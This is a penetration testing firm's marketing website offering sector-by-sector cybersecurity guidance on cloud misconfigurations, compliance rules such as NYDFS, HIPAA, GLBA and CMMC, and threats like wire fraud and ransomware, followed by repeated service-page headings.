Cloud environments move fast. Development teams deploy infrastructure on-demand, often prioritizing speed over security. Default configurations in cloud platforms are frequently permissive — public-read storage buckets, unrestricted security groups, and overprivileged IAM roles are often the defaults or the path of least resistance. Unlike on-premises infrastructure where misconfigurations require physical network access to exploit, cloud misconfigurations are often directly accessible from the internet.

Most Dangerous AWS Misconfigurations

Public S3 buckets — S3 buckets configured for public access expose whatever data they contain to the entire internet. Sensitive data in public buckets is discovered routinely by both security researchers and attackers.
Overprivileged IAM roles — IAM roles and users with AdministratorAccess or broad wildcard permissions violate least privilege and create catastrophic exposure if the credentials are compromised.
Exposed access keys — AWS access keys committed to code repositories are discovered within minutes by automated scanners. This is a well-documented attack vector with documented six-figure cost incidents.
Unrestricted security groups — Security groups that allow all inbound traffic (0.0.0.0/0) on management ports expose EC2 instances to the entire internet.
CloudTrail disabled — Without CloudTrail logging, attackers can operate in your AWS environment without leaving a trail for incident response.

Most Dangerous Azure and M365 Misconfigurations

Legacy authentication enabled — Legacy authentication protocols (SMTP AUTH, IMAP, POP3) bypass modern MFA policies and are a primary vector for credential-based attacks against M365.
Conditional access gaps — Conditional access policies that do not cover all users, all applications, or all locations create bypass paths.
Excessive global administrator accounts — Multiple global administrator accounts increase the attack surface. Microsoft recommends a maximum of five, with just-in-time elevation for day-to-day tasks.
Mailbox audit logging disabled — Without mailbox audit logging, detecting email compromise or data theft is significantly more difficult.
External sharing unrestricted — SharePoint and OneDrive external sharing configured without restrictions can expose sensitive documents to anyone with a link.

How Penetration Testing Addresses Cloud Misconfigurations

External and web application penetration tests increasingly scope cloud infrastructure alongside traditional on-premises systems. Grid32 engineers assess cloud configurations for common misconfigurations as part of engagements where cloud infrastructure is in scope.

Find your cloud misconfigurations before attackers do.

Grid32 assesses cloud infrastructure security as part of penetration test engagements. Contact us to discuss including cloud scope in your assessment.

Industry-Specific Cybersecurity Guides

Every industry has distinct threat profiles, compliance obligations, and security requirements. Here is what organizations in your sector specifically need to know.

Cybersecurity risk is not one-size-fits-all. A financial institution faces different regulatory obligations, threat actors, and risk scenarios than a law firm, a healthcare organization, or a SaaS company. This section provides industry-specific guidance for the organizations Grid32 most commonly serves — with particular focus on the New York and New Jersey business landscape and the regulatory frameworks that apply to each sector.

Why Industry Context Matters

Generic cybersecurity advice addresses common controls but does not account for the specific attack patterns targeting your industry, the regulatory frameworks your sector is subject to, or the business context that makes certain risks more significant than others. A law firm faces specific risks around attorney-client privilege and wire fraud that require different controls than a manufacturer with operational technology on the plant floor. This section addresses the specific security landscape for each major industry Grid32 serves.

Industries Covered

Financial Services — NYDFS, FINRA, FFIEC, and the specific threats targeting financial institutions
Penetration Testing for Financial Institutions — What testing programs look like for banks, RIAs, and lending firms
Law Firms — Attorney-client privilege, BEC, and why legal firms are high-value targets
Penetration Testing for Law Firms — Protecting client data and satisfying bar association guidance
Healthcare — HIPAA, ransomware targeting, and legacy system risk
CPA and Accounting Firms — GLBA, client data obligations, and the referral opportunity
SaaS Companies — SOC 2, pre-launch testing, and securing cloud-native applications
Real Estate — Wire fraud, BEC, and protecting transaction data
Manufacturing — OT/IT convergence, supply chain risk, and CMMC

Cybersecurity for Financial Services Firms

Financial firms in New York face some of the most demanding cybersecurity requirements of any industry — and some of the most sophisticated adversaries. Here is the complete picture.

Industry 7 min read

Why Financial Services Is the Highest-Priority Target

Financial institutions hold the most valuable data in the economy: account credentials, wire transfer capabilities, personal financial information, and access to payment systems. Banks, investment advisors, insurance companies, and lending firms are targeted by sophisticated threat actors — including nation-states — at a frequency and sophistication that exceeds most other industries. According to multiple industry reports, financial services consistently ranks as the top or second-highest targeted sector for cyberattacks.

The Regulatory Landscape for New York Financial Firms

Financial services firms operating in New York face an unusually dense regulatory environment:

NYDFS 23 NYCRR 500 — Annual penetration testing, comprehensive cybersecurity program, CISO designation, annual CEO/CISO certification. The most prescriptive state-level cybersecurity regulation in the US. Full NYDFS guide →
FINRA — FINRA Rule 4370 (business continuity) and related guidance require broker-dealers to address cybersecurity risk management. FINRA examinations increasingly include cybersecurity review.
FFIEC — Federal Financial Institutions Examination Council guidelines require bank examiners to assess cybersecurity maturity. The FFIEC Cybersecurity Assessment Tool provides a framework for self-assessment.
Gramm-Leach-Bliley Act (GLBA) — The FTC Safeguards Rule requires financial institutions to implement a written information security plan addressing access controls, risk assessment, and testing.
NY SHIELD Act — New York's data breach notification law applies broadly and has been strengthened in recent years.

Key Threats Targeting Financial Services

Business Email Compromise — Wire fraud through email compromise is the most financially damaging crime category targeting financial firms. Law firms and real estate companies in their deal flow are also targeted.
Ransomware — Financial firms face significant ransomware targeting due to the perceived ability and regulatory pressure to pay.
Third-party risk — Fintech integrations, MSPs, and data processors create supply chain exposure. NYDFS specifically requires third-party risk management.
Insider threats — The financial sector has elevated insider threat risk due to access to valuable data and monetary systems.

What an Annual Security Testing Program Looks Like

For a typical New York financial services firm subject to NYDFS, an annual testing program includes: an external network penetration test of internet-facing infrastructure, an internal network penetration test validating lateral movement controls and access management, and a phishing assessment validating employee resistance to social engineering. For firms with web-facing customer portals or APIs, web application testing is added to scope. The testing produces documentation satisfying NYDFS Section 500.5 requirements.

Grid32 has served New York financial institutions since 2009.

We understand NYDFS, FINRA, and FFIEC requirements and structure every engagement to produce the documentation your regulators require.

Penetration Testing for Financial Institutions

Financial institutions have specific penetration testing requirements under NYDFS, FINRA, and FFIEC. Here is what a complete testing program looks like.

Industry 6 min read

The Mandate Is Clear: Test Annually

NYDFS 23 NYCRR 500 requires annual penetration testing for every covered entity — and the population of covered entities is broad. Banks, insurance companies, mortgage companies, money transmitters, premium finance companies, and dozens of other categories of financial services firms licensed by the New York Department of Financial Services are all required to conduct annual penetration testing. For these organizations, the question is not whether to test but how to test effectively and efficiently.

Scoping a Financial Institution Pentest

A well-scoped penetration test for a financial institution covers the systems identified in the entity's risk assessment as presenting the highest risk. Typically this includes:

External network — All internet-facing infrastructure: web properties, VPNs, email gateways, remote access systems, and any customer-facing portals
Internal network — Lateral movement from a compromised internal position to domain controllers, financial systems, and sensitive data
Web applications — Customer portals, online banking platforms, advisor tools, and any application processing financial transactions
Social engineering — Phishing and vishing assessments targeting employees with access to financial systems and wire transfer capabilities

Documentation for NYDFS Compliance

Grid32 structures penetration test documentation to satisfy NYDFS examiner requests directly. The documentation package includes: an executive summary suitable for board reporting and the annual CEO/CISO certification process, detailed technical findings with severity ratings and remediation guidance, a scope and methodology statement documenting what was tested and how, and an attestation letter confirming the engagement for regulatory file purposes. We retain documentation in a format that supports the five-year retention requirement.

Testing Frequency and Timing

NYDFS requires annual penetration testing with bi-annual vulnerability assessments. For financial institutions with fiscal years ending December 31 and NYDFS compliance certifications due April 15, scheduling penetration testing in Q3 or Q4 of each year provides time for remediation before the certification period. Grid32 works with clients to establish a testing calendar that aligns with their compliance cycle.

NYDFS-compliant testing from a firm that knows financial services.

Grid32 has delivered penetration testing for financial institutions in New York and New Jersey since 2009. Our reports are structured for NYDFS examiners, not just security teams.

Cybersecurity for Law Firms

Law firms hold attorney-client privileged data and facilitate wire transfers — making them prime targets for ransomware and business email compromise. Here is what every firm needs to know.

Industry 6 min read

Why Law Firms Are High-Value Targets

Law firms occupy a unique and particularly attractive position for cybercriminals. They hold attorney-client privileged communications, sensitive litigation strategy, merger and acquisition deal information, and personal data for thousands of clients. They facilitate large wire transfers in connection with real estate transactions, settlements, and business deals. And they are often less security-mature than the financial institutions and corporations whose confidences they hold. The combination of valuable data, financial transaction capability, and security gaps makes law firms a preferred target.

Wire Fraud Is the Immediate Financial Risk

Real estate transactions and settlement payments facilitated by law firms are prime targets for wire fraud. Attackers compromise a firm's email system or impersonate the firm to redirect wire transfers to attacker-controlled accounts. A single misdirected wire can result in losses ranging from tens of thousands to millions of dollars. These attacks succeed because they exploit trust — the recipient trusts the wire instructions because they appear to come from the firm.

Ransomware Targeting of Law Firms

Law firms have been targeted extensively by ransomware groups because their inability to access files and systems has immediate impact on their ability to serve clients and meet court deadlines. Several major firms have experienced publicly disclosed ransomware incidents with significant operational and reputational consequences. The confidential nature of law firm data also makes double extortion particularly threatening.

Bar Association Guidance and Ethical Obligations

ABA Model Rule 1.6 requires attorneys to make reasonable efforts to prevent unauthorized disclosure of client information. Several state bar associations — including New York — have issued formal guidance on cybersecurity obligations for attorneys. Failure to implement reasonable security measures can constitute an ethical violation in addition to creating liability for client data breaches. Independent penetration testing is an increasingly recognized component of reasonable security measures for firms holding sensitive client data.

Key Security Priorities for Law Firms

MFA on all email accounts — the primary vector for wire fraud and data theft
Out-of-band wire transfer verification — call-back procedures that verify transfer requests through established contact information
Email filtering and domain impersonation protection
Endpoint protection on all attorney and staff devices
Segmentation of client matter data from general firm network access
Annual penetration testing and social engineering assessments

Grid32 serves law firms throughout the New York metro area.

We understand the specific risks facing legal practices and provide testing and documentation that supports your ethical obligations and client expectations.

Penetration Testing for Law Firms

Law firms have a professional obligation to protect client data. Here is what a penetration testing program looks like for legal practices and how it satisfies bar association guidance.

Industry 5 min read

What Bar Association Guidance Requires

ABA Formal Opinion 477R and related state bar guidance require attorneys to make reasonable efforts to prevent unauthorized access to client information, including when using technology. "Reasonable efforts" is context-dependent. A firm handling M&A deals for Fortune 500 companies has a higher obligation than a solo practitioner handling low-stakes matters. But for any firm holding significant client data or facilitating financial transactions, independent security testing is increasingly considered part of reasonable security measures.

Scoping a Law Firm Penetration Test

A penetration test for a law firm typically includes:

External network assessment — Internet-facing infrastructure, email systems, remote access, and any client portals
Email and Microsoft 365 security — Configuration of email filtering, MFA enforcement, legacy protocol status, and mail forwarding rules (a common post-compromise persistence mechanism)
Internal network — Lateral movement from a compromised position, access to matter management systems and document repositories, and access to financial/billing systems
Social engineering — Phishing and business email compromise scenarios targeting staff who handle wire transfers and financial transactions

Confidentiality and Privilege Considerations

Law firms have legitimate concerns about what information a penetration testing firm will observe during an engagement. Grid32 addresses this directly: we execute an NDA before any engagement begins, our engineers are trained to avoid reading client matter content, we document only what is necessary to demonstrate a finding, and we do not retain client data after the engagement is complete. Many firms find it useful to discuss scope exclusions — specific matter types or data repositories they prefer to exclude — during the engagement kickoff.

Demonstrating Security to Clients

Large corporate clients, financial institution clients, and government clients increasingly ask their law firms about their cybersecurity practices as part of outside counsel due diligence. A Grid32 attestation letter provides documentation that your firm conducts annual independent security testing — a concrete answer to client security questionnaires and due diligence requests that competitors who do not test cannot provide.

Demonstrate your commitment to protecting client data.

Grid32 provides penetration testing and attestation documentation for law firms. Contact us to discuss your firm's specific needs.

Cybersecurity for Healthcare Organizations

Healthcare is one of the most targeted industries for ransomware and data theft. HIPAA requires security programs, and proposed amendments would mandate penetration testing explicitly.

Industry 6 min read

Why Healthcare Is the Highest-Value Target for Ransomware

Healthcare organizations face a particularly acute ransomware threat because the consequences of system unavailability are immediate and potentially life-threatening. Hospitals, medical practices, and healthcare systems cannot defer access to patient records. This creates leverage that ransomware groups deliberately exploit. According to BreachLock's 2025 Penetration Testing Intelligence Report, 70% of vulnerabilities detected in healthcare systems were medium and high severity — driven largely by widespread legacy systems and inadequate security controls. The average cost of a healthcare ransomware recovery is among the highest of any industry.

HIPAA Security Requirements

The HIPAA Security Rule requires covered entities and business associates to implement technical, physical, and administrative safeguards for electronic protected health information (ePHI). The technical evaluation requirement under Section 164.308(a)(8) requires periodic assessments of technical and non-technical security — with penetration testing being the recognized standard for satisfying this requirement. Proposed amendments to the HIPAA Security Rule would make penetration testing an explicit, annual requirement. Full HIPAA penetration testing guide →

Legacy System Challenges

Healthcare organizations run some of the most challenging IT environments from a security perspective. Medical devices run proprietary operating systems that cannot be patched on standard timelines. Legacy clinical applications require old operating systems with known vulnerabilities. Electronic health record systems have complex integration requirements that create security complications. These constraints require security strategies that accept some technical debt while implementing compensating controls — network segmentation, enhanced monitoring, and strict access controls — to reduce risk.

Business Associate Risk

HIPAA's requirements extend to business associates — any organization that handles ePHI on behalf of a covered entity. This includes healthcare IT vendors, billing companies, transcription services, and cloud hosting providers. Covered entities are responsible for ensuring their business associates have adequate security controls. Penetration testing documentation is increasingly requested as part of business associate due diligence.

Serving patients safely starts with secure systems.

Grid32 provides HIPAA-aligned penetration testing for healthcare organizations and business associates. Contact us to discuss your organization's specific requirements.

Cybersecurity for CPA and Accounting Firms

Accounting firms hold sensitive client financial data regulated under GLBA. Here is what CPA practices need to know about cybersecurity and penetration testing.

Industry 5 min read

Why Accounting Firms Face Elevated Cybersecurity Risk

CPA and accounting firms hold exceptionally sensitive financial data: tax returns, financial statements, payroll information, trust accounts, and in many cases M&A details for clients. This data is valuable both for identity theft and for targeted fraud. Attackers who compromise an accounting firm can use the data to file fraudulent tax returns, conduct payroll diversion, or launch highly-targeted BEC attacks against the firm's clients using knowledge of their financial situation.

The GLBA Safeguards Rule

The Gramm-Leach-Bliley Act (GLBA) applies to accounting firms that provide financial services to individual clients. The FTC's updated Safeguards Rule, which took effect in 2023, requires covered financial institutions — including many accounting firms — to implement a written information security program with specific elements:

Risk assessment identifying foreseeable risks to client data
Technical safeguards including access controls, encryption, and MFA
Regular monitoring and testing of safeguards — including penetration testing
Oversight of service providers handling customer information
Incident response planning

The Referral Opportunity

CPA and accounting firms are well-positioned to refer their business clients for cybersecurity services. Many accounting clients navigating SOC 2, SOX, PCI DSS, or GLBA compliance need independent penetration testing as part of their compliance program. Grid32's referral partner program pays fees for introduced engagements with zero work required on the CPA firm's part. Many partners find that their clients view the referral as an extension of their advisory relationship — a trusted advisor connecting them with a trusted specialist. Learn about our partner program →

Serving accounting firms and their clients since 2009.

Grid32 provides penetration testing for CPA firms and offers a referral partner program for firms whose clients need security testing. Contact us to learn more.

Cybersecurity for SaaS Companies

SaaS companies face SOC 2 requirements, customer security questionnaires, and the unique risks of multi-tenant architectures. Here is what a mature SaaS security program looks like.

Industry 5 min read

SOC 2 Is Table Stakes for SaaS

For SaaS companies serving enterprise clients, SOC 2 Type II certification has become a baseline requirement rather than a differentiator. Procurement teams at banks, healthcare systems, and large enterprises now routinely require SOC 2 reports before signing contracts. Penetration testing is a key component of SOC 2 compliance — auditors expect evidence of independent security testing as part of the security trust service criteria. Full SOC 2 penetration testing guide →

Multi-Tenant Security Considerations

SaaS applications serve multiple customers from shared infrastructure, creating unique security requirements around tenant isolation. A vulnerability that allows one tenant to access another tenant's data is a catastrophic finding — exposing data belonging to potentially thousands of customers and creating liability across all of them simultaneously. Web application penetration tests for SaaS applications should specifically test tenant isolation, including attempts to access another tenant's data through parameter manipulation, IDOR vulnerabilities, and authentication bypass.

Pre-Launch vs. Ongoing Testing

SaaS companies face a choice between testing before or after launch. Pre-launch testing allows vulnerabilities to be remediated before customer data is at risk — but many startups defer testing until SOC 2 or a customer requirement forces it. The risk of deferral is that vulnerabilities exist in a production system handling customer data while remediation is in progress. Best practice is to test before any significant customer data is onboarded, then annually thereafter.

Security Questionnaires

Enterprise procurement teams send security questionnaires to SaaS vendors that include specific questions about penetration testing — when it was last conducted, who conducted it, what it covered, and what the findings were. A SaaS company with a current penetration test and attestation documentation can answer these questions confidently. One that cannot demonstrates a gap that sophisticated enterprise buyers will notice.

Ready for SOC 2 and enterprise security questionnaires?

Grid32 provides web application and API penetration testing for SaaS companies. Our reports satisfy SOC 2 auditor requirements and security questionnaire requests.

Cybersecurity for Real Estate Firms

Real estate transactions involve large wire transfers and trusted communication chains — making them prime targets for wire fraud and BEC. Here is what every firm needs to know.

Industry 5 min read

Real Estate Wire Fraud Is Epidemic

Real estate transactions are among the most targeted events for wire fraud. The pattern is well-documented: attackers monitor email communications between buyers, sellers, attorneys, and title companies, then — at the moment a wire transfer is about to occur — send fraudulent wire instructions redirecting funds to attacker-controlled accounts. In New York and New Jersey real estate, where transaction sizes are often in the hundreds of thousands to millions of dollars, a single successful fraud can be catastrophic for all parties.

The fraud works because it exploits trust: the recipient trusts the wire instructions because they appear to come from a known party in the transaction. By the time the fraud is discovered — typically when the seller does not receive the expected funds — the money has been moved multiple times and is often unrecoverable.

How Attackers Access Transaction Communications

Wire fraud in real estate transactions typically begins with email compromise — either of the buyer, the seller, the real estate attorney, or the title company. Once an attacker has access to the email account of any party in the transaction, they can monitor the deal, understand the expected wire transfer amount and timing, and inject fraudulent instructions at the right moment. The compromise may have occurred weeks before the fraudulent wire instructions are sent.

Essential Controls for Real Estate Firms

MFA on all email accounts — The most direct protection against email compromise. Every account, without exception.
Out-of-band wire transfer verification — Call-back procedures that verify wire transfer instructions through established contact information before any transfer is made. Never rely solely on email to verify wire details.
Employee training — Staff involved in transaction processing must understand wire fraud tactics and have clear procedures for verification.
Email security configuration — Disable email forwarding to external accounts, implement DMARC/DKIM/SPF, and use email filtering.

Testing Your Defenses

A phishing and social engineering assessment tests whether your employees would recognize and report a BEC-style wire fraud attempt under realistic conditions. Grid32's social engineering assessments include scenarios specifically designed to simulate the tactics used in real estate wire fraud.

Protect your transactions and your reputation.

Grid32 provides phishing assessments and network penetration testing for real estate firms throughout New York and New Jersey. Contact us to discuss your specific situation.

Cybersecurity for Manufacturing Companies

Manufacturing faces unique threats at the intersection of IT and operational technology — plus CMMC requirements for defense contractors. Here is what manufacturers need to know.

Industry 5 min read

The OT/IT Convergence Problem

Manufacturing environments increasingly connect operational technology (OT) — industrial control systems, SCADA systems, PLCs, and manufacturing equipment — to corporate IT networks and the internet. This convergence creates security challenges that traditional IT security approaches do not fully address. OT systems often run proprietary operating systems, cannot be patched without vendor involvement, and were designed for reliability and availability rather than security. When ransomware reaches OT systems, the result is not just data encryption — it is production stoppage.

Why Manufacturers Are Prime Ransomware Targets

Manufacturers face intense ransomware targeting because of the immediate operational impact of system unavailability. A manufacturer that cannot access its production scheduling, inventory management, or OT control systems loses money with each hour of downtime. Ransomware groups understand this leverage and target manufacturers specifically. Cyberattacks on SMBs are disproportionately concentrated in manufacturing, healthcare, and finance — and manufacturing accounts for a significant portion of SMB incidents.

CMMC for Defense Contractors

Manufacturers with Department of Defense contracts face an additional layer of cybersecurity requirements under CMMC 2.0. The October 2026 deadline for full implementation means defense-adjacent manufacturers need to begin their compliance journey now. Many smaller manufacturers in the defense supply chain are discovering CMMC requirements for the first time as prime contractors begin flowing down compliance expectations. Full CMMC guide →

Segmenting IT from OT

The most important architectural control for manufacturing cybersecurity is network segmentation between IT and OT environments. Corporate IT networks should not have direct connectivity to manufacturing control systems. Monitoring connections through industrial demilitarized zones (DMZs) with strict access controls, unidirectional gateways for data flows that should only move one direction, and jump servers for authorized OT access are the standard architecture. Penetration testing of the IT environment validates whether this segmentation is effective from the IT side.

Protect your production floor and your corporate network.

Grid32 provides network penetration testing for manufacturing companies including network segmentation validation between IT and OT environments.

The secret weapon behindelite cybersecurity programs.

Comprehensive penetrationtesting & red team services

Network Penetration Testing

Web Application Penetration Testing

Phishing & Social Engineering

Compliance-Driven Assessments

Vulnerability Assessments

White-Label & Partner Program

The independent security audit yourstakeholders actually trust

Manual-first methodology

Zero service disruptions — ever

Reporting for every audience

Elite, certified, U.S.-based team

Your long-term security partner

Simple, transparent pricing

A proven process.A clear roadmap to resolution.

Scope & Quote

Reconnaissance

Exploitation & Escalation

Detailed Reporting

Testing for the frameworksyour auditors require

What our clients say

Know your exposure.Close the gaps.

Penetration Testing & Security Assessment Services

Choose your testing scope

Network Penetration Testing

Web Application Penetration Testing

Phishing & Social Engineering

Extended security programs

Vulnerability Assessments

Compliance-Scoped Testing

Recurring Testing Packages

Security Awareness Training

The best defenses are well-testedagainst a good offense.

We'll scope it with you.

Network Penetration Testing

What is a network penetration test?

Scope options

External Network Testing

Internal Network Testing

Wireless Network Testing

Our testing methodology

What you receive

Based in New York. Working Nationwide.

Ongoing Vulnerability Assessments

Service Includes

Web Application Penetration Testing

Why manual web app testing matters

Testing approach

Delivered as a partner, not an auditor

Based in New York. Serving Clients Nationwide.

Scope Options

Phishing & Social Engineering Assessments

The most exploited attack vector

Email phishing assessments

Phone phishing (vishing)

SMS phishing (smishing)

Physical on-site assessments

Post-assessment: security awareness training

Based in New York. Assessments Nationwide.

What Grid32 security awareness training covers

Assessment Types

The experience of an enterprise firm.The attention of a boutique.

Specialists, not generalists

The credentials that matter

Results our clients remember

Work with the team behindelite security programs.

White-Label & Referral Opportunities

The demand for pentesting is growing fast.Capture it.

Deliver it under your brand

Refer and earn

Built for firms who already have the trust

Managed Service Providers

Accounting & CPA Firms

IT Consultants & VARs

Forensic & Legal Firms

Ready to add pentestingto your service offering?

Talk to a cybersecurity expert

We're here to help

Prefer to build your own quote?

The secret weapon behind
elite cybersecurity programs.

Comprehensive penetration
testing & red team services

The independent security audit your
stakeholders actually trust

A proven process.
A clear roadmap to resolution.

Testing for the frameworks
your auditors require

Know your exposure.
Close the gaps.

The best defenses are well-tested
against a good offense.

The experience of an enterprise firm.
The attention of a boutique.

Work with the team behind
elite security programs.

The demand for pentesting is growing fast.
Capture it.

Ready to add pentesting
to your service offering?

Scope your engagement.
Get a price instantly.